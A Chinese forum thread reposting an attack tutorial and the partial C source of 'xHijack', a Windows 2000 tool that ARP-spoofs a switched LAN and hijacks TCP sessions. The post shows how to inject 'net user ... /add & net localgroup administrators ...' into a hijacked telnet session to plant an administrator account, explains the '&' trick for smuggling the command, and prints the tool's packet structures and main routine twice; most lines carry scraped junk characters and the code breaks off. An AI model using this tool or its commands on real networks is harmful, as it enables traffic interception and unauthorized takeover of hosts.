QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4321|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 8 t  @* H1 v3 Q/ n& b
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 # x  e: O, u4 r" ^$ _9 ~/ W, _
第二步是ARP欺骗,具体原理我就不说了。
( y& s( J5 U* }! Q0 k6 x; C第三步就是开始劫持啦。
3 ]3 G0 v; {/ P3 }4 c
3 ?# {/ D# }% {' C' A  M1 G) s8 I, O我写了个程序xHijack可以实现第二、三步功能,使用如下:
+ k4 Q0 X  w" F( X+ I+ D: s- v3 ^# U: n0 t/ ]1 K, Q2 g7 _' w
Usage: xHijack ServerSide ClientSide
  i2 e' s- I' b! q& \" g
4 C) l) A+ o4 B. Y# {( S下面根据三种不同的情况分别说明如何输入参数:
/ U2 n  y& P( r<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
, p2 R& f5 h" D  e8 ]假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 # i$ v3 s! p0 P8 E
c:\>xHijack 192.168.0.2 192.168.0.3 1 X5 z* R  Q/ Y2 K3 e: L7 G
劫持前数据流程:server <--> client
, s* x* h0 g9 E3 X6 F劫持后数据流程:server <--> hijacker <--> client 7 y& s7 U' x- e9 r4 B: N( T

! i+ _7 K7 R5 V$ G, z& Z& Y<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 7 ?8 V" L( l! K& l% h0 f; d# p: X5 Z
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
) C2 s6 e# D. }xHijack 202.202.202.2 202.202.202.1
- V- p& N4 N. Q% c( G* m劫持前数据流程:server <--> gw <--> routes <--> client   T+ A/ b6 y; l" y, V. t
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 7 ~: H  d; A+ E; q- l

0 D" }. {/ {9 w/ y  F5 B+ H<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
; Y, G2 ]' j) }假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 # ?9 o+ D" W1 [# g1 j
xHijack 192.168.0.1 192.168.0.2
, @0 W! j5 f3 w, Q9 n- y7 d劫持前数据流程:client <--> gw <--> routes <--> server - n: x6 A& k& b
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
) Y, A- Z7 H0 j, f+ l( y% k0 w2 e+ [; p, P
输入两个参数后,会提示你选择网卡,然后会提示 + I1 U: l7 T% s2 o
l        <-- List all connections
' m' u% `3 B! z0 K4 G, zr x       <-- Reset the number x connection
" |# h  _# L9 I: p4 E7 p( F& x) Zw x       <-- Watch the number x connection
) v6 L2 J  }8 [7 d# wh x command   <-- Hijack the number x connection to execute command 1 ?! j3 y- C, F) R- ?& ~" h; u, x5 U( a2 l

6 k) @  q0 k% X; ~# n- \' l  L3 \list、reset、watch命令我就不解释了。
0 |) p0 C. T8 w* n7 V假如现在有如下连接
  R1 j- `! E* S  N6 @" n(1) 202.202.202.202:23 <--> 192.168.0.3:2345
; w; n. s* `6 F. U" y, f5 }, C5 a我们想要劫持这个连接运行我们的命令,输入 % N& C5 O6 Z/ l3 b
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
! Z0 x, x2 [# x% b1 _. h为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
4 [1 A/ H( O% H- |pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
4 m0 x1 P3 _; ?' G8 {) l都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
9 b. P( K4 L2 R3 S+ B! _
# Y6 a% m. p3 G% F! J) I  U) x/ ^$ ^劫持的流程如下:
; l  r2 w* W% V8 t1 e; Q1 C<1>伪装成Server给Client发一个rst包
. m$ c# _1 o" ?' D<2>伪装成Client给Server发了一个数据包 0 x: B0 M5 E( l% P# d
<3>Server回一个ACK包给client
3 y* j1 {* O) [: U; T$ P<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
% K5 z8 s" @8 [, i3 b) ?) h: s4 S# ^7 I- Y/ j9 o/ e
这样的话,我们只能发一个伪造的包,但我想已经足够了。 8 w$ i: I* X6 g& F, }$ q- l
想要一直劫持那个连接也可以,如下
: D8 P: ^2 M; k( O; H<1>伪装成Server给Client发一个rst包 , ~/ S, \9 P3 }. ?) j
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA / s: {7 ^* A* _2 a
<3>伪装成Client给Server发了一个数据包
( W. m( f+ D7 B5 w' T3 c! b<4>Server回一个ACK包给client ' ]5 w$ {: _" w5 ]0 Q8 j
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 ; E& ]( w  {' D4 q
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
1 A# I1 H* D0 X( d
0 u" x' t$ l5 k/ S) n5 y不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
. H: I7 x1 Q4 s& ~) Q; p
4 [# o7 ?: A: t6 Y0 M* X  t- A* a) R' A2 H! N
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
% V6 N* S8 a5 w$ J还请各位多多指点。
* p) u, @' ?: l' t5 ^& E0 S
7 O/ O6 t5 h% g' CBTW:我没有空间,编译好的程序没地方放:(
0 Z! K8 L; h/ Z0 u3 s: u  ~! N2 B- u% b/ m- y

- {" U; T  R0 K0 C* q6 T9 d- {' Q. z; d6 s1 Y8 V0 E/ U% [
参考资料 9 \/ ^: \0 o. B5 |" f/ X
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
. n4 K9 z5 n. p  m* E<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377 % i5 d$ ?7 o& m( A  O0 `
1 h% i3 _9 ]& i) v6 u* K- b
- l3 j. x" I2 r
以下是程序代码
/ h) g2 D) U- ]  [, p---------------------------------------------------------------------- ! U; Q3 N1 c$ I% M# \; |2 g
/*----------------------------------------------------------------------------- & e# p0 X0 W' U4 d; ?$ L
File      : xHijack.c : ~4 _1 c# ^. ?
Version      : 1.0
! S# d: z, z5 }5 j8 z7 M0 c/ Z: ~% QCreate at    : 2002/8/12
- |+ Y+ n3 T. yLast modifed at  : 2002/8/19 . ~3 ]2 P' S( S9 q4 c
Author      : eyas
, w+ B" |* e6 bEmail      : ey4s@21cn.com ) Z; }1 W  L  m- M
HomePage    : www.ey4s.org 4 G. O1 L+ p+ q
感谢refdom和shotgun发布的源代码,使我获益非浅。 ' B3 ?" z9 T, D7 w! P& |- h9 V
If you modify the code, or add more functions, please email me a copy. 9 ?4 J5 y0 w3 v

6 U3 F$ k/ g) h备注: 5 ?, W  z4 _1 G7 ]3 i& F
<>没有考虑IP头、TCP头超过20字节的情况
5 y5 s" `7 Y9 F<>没有考虑数据包分片的情况
6 A# F" z- h! c1 @9 g<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
* e$ [1 F9 j; k0 s显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
! v0 T" Q' p1 I& R题了。
8 q% k' D) @  L6 K: u# \( S# {
/ i9 S0 [* Z- l- s; K4 P$ a, e也许下一版本会修正这些问题,也许不会有下一版本了。 3 O; c- }& r3 t  \& r

' ~7 u+ h9 x* d7 m9 i-----------------------------------------------------------------------------*/ ! I+ I0 Y& _. v( v
#include
( g- p3 A3 g( J2 B#include ) v' o5 G& A+ W0 r, R$ m
#include
* O: j: P& s6 z#include + N( Z, ^. w1 j9 `/ }
#include
0 `$ k6 w) K% {' z9 I# v: I#include
3 E& e& Q& r9 _8 G! b4 I. c#include
  C- h4 ~8 E1 ]' s4 H' y( y( Y$ f* p7 D# k
#pragma comment (lib, "packet")
2 Q- O4 ]( m- ]. l  H8 |#pragma comment (lib, "iphlpapi") ! p- L& }2 |2 L
#pragma comment (lib, "ws2_32") ! o$ V9 R1 u! o7 L) `( Y! e8 G
0 M5 T( S$ R, F+ C, {: ]
#define Max_Num_Adapter 10
/ s1 J9 L4 u) B; L#define Max_Num_IPAddr  5 & A/ r) U1 a6 `3 I# k
#define EPT_IP      0x0800      /* type: IP  */
, p+ D. l! I2 ^1 [5 E$ U  V& V8 k, ~#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ , j9 H; k/ K6 y2 t
#define EPT_ARP      0x0806      /* type: ARP */
6 P+ f+ @4 l2 `# [) [
5 k4 b0 I- M. R9 G& o" F#define  ACTION_NONE    0
+ K: y2 _; L3 h5 X  J#define  ACTION_WATCH  1 . L' U, a* Z% P. H
#define  ACTION_RESET  2 0 m9 Q+ h1 [6 I3 _
#define ACTION_HIJACK  3
. s" g. y" y/ z
  `1 Z5 U% l* j) D' s; c/*以1字节对齐*/ + y; }3 l5 a0 J. O% t( X
#pragma pack(1)
* G( {( j- j* S9 \: M1 G( Btypedef struct _ehhdr
( b$ s" k6 i, V/ k: X  u{
' Q5 V. W2 j7 p- y! A7 H$ v! t  unsigned char  DestMAC[6]; - L( p+ n3 a* c6 j( q, }
  unsigned char  SourceMAC[6]; ' {- d4 v) j1 C0 o& _7 K" m0 O
  unsigned short  EthernetType; 3 P2 U, E8 O$ H4 i# s& k
}EHHDR, *PEHHDR; ; U! y7 d/ H% Y7 `% v; ~3 }

* T2 @! t6 M! S! g; gtypedef struct _iphdr        //定义IP首部
/ j5 F' `' t# B. F" W{ 8 y0 X" Y7 q$ D$ w  B
  unsigned char h_verlen;      //4位首部长度,4位IP版本号 ; |0 A) Q+ X$ U
  unsigned char tos;        //8位服务类型TOS # v* C% Z, a- P+ y
  unsigned short total_len;    //16位总长度(字节)
) H5 Q7 T" u0 `- n  b- n  unsigned short ident;      //16位标识 - Z, F; ]! E2 ?% p, l
  unsigned short frag_and_flags;  //3位标志位
, b+ A  E% c% M- x1 ]6 `  unsigned char ttl;        //8位生存时间 TTL 1 x8 A& Q' S+ C1 ~3 V
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) # o, A/ O; J5 p3 C
  unsigned short checksum;    //16位IP首部校验和
; ?8 s7 `: X4 f1 d  unsigned int sourceIP;      //32位源IP地址 3 G! y4 R' w2 a3 U; S4 S
  unsigned int destIP;      //32位目的IP地址
) Z- Q5 z( }6 U/ J7 C}IPHDR, *PIPHDR; " |9 _, y2 `1 P& l! p; y+ I& R8 a
1 s- M0 @" }, ^; k- a$ w
typedef struct _tcphdr        //定义TCP首部
5 j# ]$ o% k3 I! |) s5 f8 O{ 7 w; j3 N% d( a- G& g* o" [
  USHORT th_sport;        //16位源端口
) t5 C4 N9 B0 H  USHORT th_dport;        //16位目的端口 - e  W. C- h9 U& k  o6 B
  unsigned int th_seq;      //32位序列号
, C  S) E) x; M* r9 x  unsigned int th_ack;      //32位确认号
( L5 o8 D5 h" K' i. q" p1 i$ E' }  unsigned char th_lenres;    //4位首部长度/6位保留字
! h* e+ Z3 B9 N+ W5 r  unsigned char th_flag;      //6位标志位
8 ]1 o( q$ Q; s. c; i+ [) `5 l0 N4 t  USHORT th_win;          //16位窗口大小
2 j% m( t4 t9 p+ C- ?5 ~2 u  USHORT th_sum;          //16位校验和 4 w  j) f4 z0 P4 e! i6 ?/ E
  USHORT th_urp;          //16位紧急数据偏移量 9 J7 K, }' X( M0 F) h! C% u. `
}TCPHDR, *PTCPHDR; 9 g1 N3 w5 n! k: E* Q3 D
+ u0 I( S# r) P7 j' v
typedef struct _psdhdr        //定义TCP pseudo header
. w2 J) k; {: T6 e. `{               2 }8 O- q2 L9 t9 b/ q5 B
  unsigned long saddr;
5 i; Y* M, ]5 a# w  unsigned long daddr; . Q/ w- K$ `0 g; ~7 \* s, M" q, u
  char mbz; 7 `0 R5 Z% q( [: a
  char ptcl; 6 a- P: O5 ]1 P1 @. d
  unsigned short tcpl;
1 e( c) j( d( v. _7 q}PSDHDR, *PPSDHDR;
  L. H$ P4 s5 e; t  S. y; Z% e
7 t) V4 ?" ]& B  Etypedef struct _arphdr
& k) b1 O5 Y3 w$ m( e7 b{
8 I1 i& ^8 K" Q5 X6 n  unsigned short  HrdType;//硬件类型 1 [* I# R! F0 b5 ~3 l) w
  unsigned short  ProType;//协议类型   k  M. I+ E8 p' i. _* ?
  unsigned char  HrdAddrlen;//硬件地址长度 ! ~5 P  ~0 O: X9 y$ @6 o+ L
  unsigned char  ProAddrLen;//协议地址长度 ) s9 t  W+ K1 [$ o3 f& ~1 c
  unsigned short  op;//operation   [( \$ a6 h' e8 D7 q* o) o" V: ]
  unsigned char  SourceMAC[6];/* sender hardware address */
: A7 g  x, E$ i4 E- A  unsigned long  SourceIP;/* sender protocol address */ . B; L( z; [; k+ ~+ y+ w
  unsigned char  DestMAC[6];/* target hardware address */
; e8 Z! o/ m; I  unsigned long  DestIP;/* target protocol address */ * z! j' K& {9 {5 P# d8 H
}ARPHDR, *PARPHDR;
  [# Q" }6 @9 g+ A
# e( V; c% V; d/ e) a/ e2 l- ytypedef struct _ArpPacket
8 q; D0 A2 L$ R) b$ o{ - E4 d3 U' k5 \* M( p
  EHHDR  ehhdr;
2 g- }; W- \* `. j6 G" x3 ]  ARPHDR  arphdr; 3 E1 F$ u3 B$ a! f) Q, w" g/ s0 h' j
}ARPPACKET, *PARPPACKET;
3 A" p& {' Q# E. z1 b/ @  W- m3 L3 g  z7 \/ Z$ ]+ m
typedef struct _tcppacket
, Q- R0 Q2 _7 P3 `{
& Z4 {* ]0 r0 S) X/ w# f# \  EHHDR  ehhdr;
7 {6 h6 ^* O8 t  IPHDR  iphdr;
! }; Z' X/ Z+ `9 S  TCPHDR  tcphdr;
" [7 n( O+ O" Y- u1 M+ N  Y7 G6 L) _}TCPPACKET, *PTCPPACKET; # H# [! g3 h5 p! }5 t$ m

1 n. ]$ c7 r( l0 x9 @8 c. Wtypedef struct _conninfo
3 D; {1 W" ^/ X3 E" y0 |: B; F{
7 s! c: q. [0 t# U7 ~" l/ j$ p  DWORD  dwServerIP;
2 O& M# P3 z; ?  `. a  USHORT  uServerPort;
& }) n; i) H8 ]6 U3 ]+ s  DWORD  dwClientIP; " P: Z* d" e/ T8 g
  USHORT  uClientPort;
4 ~6 m9 [( [8 Q; ~% Q6 e' }  DWORD  ident;//标识 . V; ~: [* s5 k7 F' ^" j  ]: {
  BOOL  bActive;
  f% a4 x' z% t- a  struct  _conninfo  *Next; 0 C* _$ u5 L: P" s
}CONNINFO, *PCONNINFO;
' h. i$ H1 }7 g( {) f' \! c
6 Z0 d' t) f  g) w( H//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
+ b$ |+ v9 V* `& c( N6 P        g_ClientSideIP, . \" N& t/ [9 k/ Z$ A, t' z& h
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 5 Y- x( u" R  H% A) u( X; Z
        g_TotalIP = 0;//
3 x0 \( C, _- zunsigned char  g_szOwnMAC[6];//本机MAC地址 * |9 S# N; n2 z5 X
unsigned char  g_szClientSideMAC[6]; 7 Q, S7 y) T: T, t4 }& W
unsigned char  g_szServerSideMAC[6];
: N+ k0 `6 F4 `char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
5 d$ h& u( X" s  z4 {( F# JLPADAPTER    g_lpAdapter;
) A% b# L. p6 @" w//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
0 D) M: Q) @8 A# v5 L3 |: X; y0 ZHANDLE      g_hThread[4]; 4 R( a- c8 I& F" q
char      g_szCommand[128];//command to execute after hijack
" z. q' a1 p6 u6 PDWORD      g_dwAction;//action type
. [( _: q! f7 b% @9 RDWORD      g_dwCtrlConn;//action 所控制连接的标识   S. q/ m4 a4 S" B# ~4 v
DWORD      g_ident;//节点标识,递增 6 H$ \. ^. R; W0 M! ^7 b3 S
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
- }% C3 N$ R( B9 G) @3 F        g_pConnHead = NULL,
9 X' K" H$ [( E% w) R& Z        g_pConnLast = NULL; ! x5 [, H3 ]7 T2 e! z- j
char      g_szSendPacketBuf[1514]; % _7 ~, ~8 m# w9 D+ i
LPPACKET    g_lpSendPacket; $ d) _' s- E3 W1 I, c! x7 c
//函数 7 @% S: ^$ n3 a* j" M! ~. X  V/ R
void      usage(void);
; [, y1 \3 C$ F: wvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);   }+ j% y9 |, ^6 Q$ P5 ?* ~
void      ListAllConnection();//列出当前所有的连接
) }* B0 ~; y# p1 b; ovoid      ResetActionAllFlag();
0 t" Q9 c# p. F( p+ v2 s6 zUSHORT      checksum(USHORT *, int); + x: l& G! n+ u' z  @0 d% L" o
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 $ i9 ?% {6 K; r: Q# {
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
3 Y7 v9 i, W6 P2 ]1 b2 B$ w, y2 Q& ]LPADAPTER    InitAdapter();//初始化一些参数和全局变量 3 |8 R& `7 n) j  Z% q. E3 O3 U& m
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 * c: d+ U4 g. B
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
4 T! w& {8 q4 ?& D6 @! `$ rDWORD      GetConnNum(char *, DWORD, DWORD *); ( x! o/ V( T4 J  I6 q
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
0 L" G. T- W, y: T3 v! RDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
! h& e; H) D& d& y/ K* {DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
: r; I- M, x: w/ V. n7 R7 uDWORD  WINAPI  InterfaceThread(LPVOID);// + C; G& A1 x6 c# E8 k; {8 ^
BOOL  WINAPI  CtrlEvent(DWORD); # _9 N1 B" D& Z% l
- X/ q3 \: y6 t: f8 O. F2 g5 k
8 `& k3 ]. w- R( u  I- u' w; g/ r% D

3 R4 C3 T" Z7 s" o0 X5 I; ^int main(int argc, char **argv)
' j$ A8 J$ L/ h# d{ 1 T" V* F7 I; j" w" @3 w
  struct    bpf_stat stat; 3 S6 J( Q8 k+ _8 X5 P' j" C( p
  int      i;
2 U* [  b  v0 s4 k. a
4 l% m; a* p8 F# F# j& m  usage();
" O% _; S# s, A( M  if (argc != 3) return 0;
2 A, O: V2 m/ s# K/ Z  //取得参数 ) g. Q$ j& f3 w- e' P6 B# d2 s
  g_ServerSideIP = inet_addr(argv[1]);
- l" u  F+ x% S  e  g_ClientSideIP = inet_addr(argv[2]); ' o" @% B7 \& \- i2 W1 Y; W
  //初始化adapter & 一些全局变量
* z( C) b5 s9 n0 v* q  g_lpAdapter = InitAdapter(); 9 F" I+ W5 u& d3 ~
  if(!g_lpAdapter) return 0;
# E& O5 q" U2 a  //get ServerSide MAC & ClientSide MAC
: V9 D) m: Q& G2 u5 P3 D' k  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; / T: Q" {! |9 Z4 ~" D
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; . q( O0 J$ |. X  V* N
  //create arp spoof thread     
: G) l- _0 ?7 i: {" |  i = 1; 5 B  {. |/ q8 h8 `9 O9 m7 |
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 8 R) _' u% l% _+ @' e
  Sleep(500); / S' ?# d* V/ ~$ h, z
  i = 2; ) s& D$ r$ N, |1 W( f: g3 y
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); : }& [) }) i) s$ e& k2 f- x
  //create analyse packet thread 0 x) J; i# r) b" t. N0 {9 U
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
8 t2 Y8 x  u  q$ `1 v5 E2 Z: Z( W  //create interface thread ( W- g$ N( a, ~, D+ e8 a) M* C% |+ T
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 0 T! L: Q' d8 e( t
  //set console ctrl handle 1 ~2 f2 b1 k2 v' K+ c- c
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
, }* H& D+ P- W) t1 D' v& {  { 5 n% Q9 Y: C0 d* ]1 N0 k; a3 }, a# `3 m
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
; ?5 f) @4 x& [! G- A, t5 l    return 0;
6 A, ]* E2 O* [( a$ Q  } 2 l$ J2 V: V5 K' f
  //wait for any thread exit + {9 A5 T+ h9 M$ t& p
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 0 L- A4 h$ m2 i$ ]' M+ r
  //print the capture statistics ' e% m, v4 f) T4 A) z
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) . {4 b& K& l3 ^0 B
    printf("Warning: unable to get stats from the kernel!\n"); - e/ N  @% l( ^4 `# v+ H
  else
9 p7 b2 ^. _' m+ T/ o% V    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 8 k3 s; C0 W& s
  //free resource   9 Z/ ?9 E* v: T1 Y8 U
  PacketFreePacket(g_lpSendPacket); . t2 h% z7 O1 M1 @5 x. Q+ g" h
  PacketCloseAdapter(g_lpAdapter);
( v8 j& y' d) |# K4 d  return 0;
- ?3 \/ x) O1 w) u/ d. K}
3 s$ d  g% }- D0 F% g$ \  V% }0 j5 {7 F# q
// & d! ]: r/ K5 S  {" F8 m+ u! y
//功能:重置所有于ACTION有关的标志
7 J4 f0 P8 l3 G8 s* Q: ]//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
; h! U& f! [, ~7 S0 V$ D. m  y        g_ClientSideIP,
- }( Q& J2 J# I        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 & j6 U, l$ z6 X0 X" x+ K
        g_TotalIP = 0;// 3 ?$ ?3 U' j% I
unsigned char  g_szOwnMAC[6];//本机MAC地址
( x: g% M5 A' O; C0 [% Q+ runsigned char  g_szClientSideMAC[6];
( ~" s5 m; C# b; R$ Uunsigned char  g_szServerSideMAC[6]; 6 S) X) ?7 u' C/ Y
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 ) M9 S# q' a- F: J' k
LPADAPTER    g_lpAdapter;
3 t1 i) d( m' [4 q  A! h//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread 9 s# x9 N8 z, c" e/ \& _( s# B
HANDLE      g_hThread[4];
2 D2 Q3 y% v4 w1 ?$ X/ Ochar      g_szCommand[128];//command to execute after hijack
4 ?# h- ^+ H4 SDWORD      g_dwAction;//action type 2 o" \4 \6 Q4 K* k
DWORD      g_dwCtrlConn;//action 所控制连接的标识
' Y' X1 _1 i3 `0 j4 p9 [6 a% [: ]DWORD      g_ident;//节点标识,递增
+ W, a$ m5 W. ^( F) dPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
+ [& \9 y  p7 N) D7 M  ~) Y        g_pConnHead = NULL, # R3 P4 Y8 ~4 ]$ l& e( O
        g_pConnLast = NULL; 6 V- L# `3 E9 `& Y1 @
char      g_szSendPacketBuf[1514];
  D$ Z6 e) E# U- M4 O3 ?LPPACKET    g_lpSendPacket;
7 A$ L+ g" T" S0 ]: T- h; M' O//函数
6 H$ X1 Y- j$ h" d/ z1 G- o8 c/ ^& Fvoid      usage(void);
0 e( ^# J9 O+ H& c6 @void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 3 ^3 |1 S0 y1 V. ]4 j* u- M+ A
void      ListAllConnection();//列出当前所有的连接
' Z* `( Y, I5 A6 @void      ResetActionAllFlag(); 6 f" t! F. x. ?2 O8 E8 j( q
USHORT      checksum(USHORT *, int);
. l* i% @. @( X3 lBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 - a# q; \7 c7 r) `; u% T
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 : N  r- q! X2 T' ~. _
LPADAPTER    InitAdapter();//初始化一些参数和全局变量 : a, X3 T1 R2 v
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
0 P' L2 R' a. t* \. t) fBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
1 G% D* ^/ R7 X8 N% A. h' S3 @% wDWORD      GetConnNum(char *, DWORD, DWORD *); / W. }; {9 q8 g" @: r  p
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
: \7 T& h9 J; hDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 ' D1 K5 B7 j/ M; {$ H! ?
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
$ [& `; g, c% O6 wDWORD  WINAPI  InterfaceThread(LPVOID);//
$ n% I% O9 q* Z7 Q7 u! K# vBOOL  WINAPI  CtrlEvent(DWORD);
0 M4 ^( b; i) T; j* G) W- W3 m& A; y  C

0 o& r  Q7 O/ F) C2 v9 a7 c5 Q% Q+ M7 P+ X% I* U& b( E. m" I
int main(int argc, char **argv)
) I7 n; x% D# o. \3 p% t& Y6 E{
( t) T" Z' H! Z' y  f* P  struct    bpf_stat stat; 5 b9 i! o7 E0 c7 @" y
  int      i;
! `: U& E9 t7 A3 r( }. e' D1 x  T% R1 b. r0 ~6 l
  usage();
; U( ?6 l" ^+ \7 ?5 v: H& l  if (argc != 3) return 0; + t" z* y+ v3 E1 U/ Z. g% K, K
  //取得参数 9 B0 [+ ]1 Y# ]0 r8 M9 i; e
  g_ServerSideIP = inet_addr(argv[1]); 0 D. p  z2 G! ^3 z! m
  g_ClientSideIP = inet_addr(argv[2]);
0 ^4 S) V+ w4 e% z. I/ b  //初始化adapter & 一些全局变量 5 A$ [; W6 y" l& [" U# f' ~" R
  g_lpAdapter = InitAdapter(); 8 ?- s, Z& g: J9 }9 S* z
  if(!g_lpAdapter) return 0; ) O5 p* z* }. B4 @
  //get ServerSide MAC & ClientSide MAC / y& V% R1 c7 g  e
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
+ z. j% x6 o  Z4 b. y7 K/ \- G! C  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, l" o, C2 k) M0 B' L. i( z0 N  //create arp spoof thread     + j, C5 v8 U9 N; {, G# H' r
  i = 1; ! j' B& |% v' R, ?6 K% R
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
, p+ |9 b/ f! g7 W0 ~: L  Sleep(500); 6 }. v; u; L! a3 S* \9 V
  i = 2; * H" W8 w- b: ?. h* \$ x* [3 b
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
( G  T9 X% O6 i, F6 n' [8 a  //create analyse packet thread # Q6 y2 f$ q6 P3 p9 K2 k
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); ! M( ^, M/ R0 \* J
  //create interface thread
: o6 P  {* H9 d- M( S7 d' r! J2 s9 c  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
: R( R4 e" G+ a' H! H& t  F  //set console ctrl handle
. Q% ~' |, f; m7 Z  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
+ C/ ~1 z) k) W  q% u2 ~8 S5 d  {
- u6 J# Z. `# W& W    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 9 A2 z* O0 w  O5 J! o
    return 0;
+ O; v7 I! u6 ]! x+ X2 O( ^6 }- |  }
2 {# l% o- S; w2 u1 \& D8 p. W) r  //wait for any thread exit
0 X9 p* L/ L; c' Q( X  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
9 J3 `6 U* a. ^: [+ [  //print the capture statistics
4 |, g, K  s, {* Q  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) ) W1 }$ D8 L# \- z6 v% n: Y
    printf("Warning: unable to get stats from the kernel!\n"); 2 S! ]  d) ]& d: g" H5 P# @
  else . q1 {" u' L# ^- H6 ^
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); : d6 ^) P9 M/ c: m" A$ o( M: u. ^6 g. l
  //free resource   2 S3 ]9 O; W6 }* U/ @
  PacketFreePacket(g_lpSendPacket);
8 H$ _7 t. @+ ~+ }  PacketCloseAdapter(g_lpAdapter);
5 x( F, M0 |% r7 d1 \  return 0;
! O& y' @6 D  U8 G& _1 P7 K- n0 B; R}
, L6 V' B6 {) C, o: ^4 V  u' u/ Q0 P: b9 ?. z" h
// 8 f& p: C7 J7 A$ p* ^
//功能:重置所有于ACTION有关的标志
" P% Z5 F% Q* B2 G2 x//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
; g' x" F( |2 {. }{
